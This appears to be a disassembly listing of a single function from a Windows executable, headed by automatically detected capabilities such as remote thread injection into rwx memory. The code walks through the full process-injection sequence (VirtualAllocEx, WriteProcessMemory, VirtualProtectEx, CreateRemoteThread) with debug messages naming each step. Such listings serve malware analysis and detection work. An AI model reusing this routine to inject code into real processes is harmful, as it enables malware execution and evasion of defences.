Function at 0x1400111ea
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011b00
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x14001e240]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400240a4]
call fcn.1400113f2
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x84], 0
lea rcx, str.___Allocating_Memory_in_remote_process
call qword [sym.imp.ucrtbased.dll_puts]
nop
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x190]
xor edx, edx
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140011bd4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._x__Could_not_allocate_remote_memory___d__n
call fcn.1400111c2
nop
jmp 0x140011d0e
lea rcx, str._x__Writing_code_to_allocated_memory
call qword [sym.imp.ucrtbased.dll_puts]
nop
mov eax, dword [rbp + 0x190]
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140011c2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._x__Could_not_write_to_remote_memory___d__n
call fcn.1400111c2
nop
jmp 0x140011d0e
lea rcx, str.___Changing_permissions
call qword [sym.imp.ucrtbased.dll_puts]
nop
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140011c8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._x__Could_not_change_the_memory_protection___d__n
call fcn.1400111c2
nop
jmp 0x140011d0e
lea rcx, str.___Creating_remote_thread
call qword [sym.imp.ucrtbased.dll_puts]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x28]
mov r8, qword [rbp + 0x190]
xor edx, edx
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011cee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._x__Could_not_create_remote_thread.___d__n
call fcn.1400111c2
nop
jmp 0x140011d0e
lea rcx, str.___Created_new_thread_
call qword [sym.imp.ucrtbased.dll_puts]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x140011d32
cmp qword [rbp + 0x28], 0
je 0x140011d30
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001acd0]
call fcn.14001137a
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret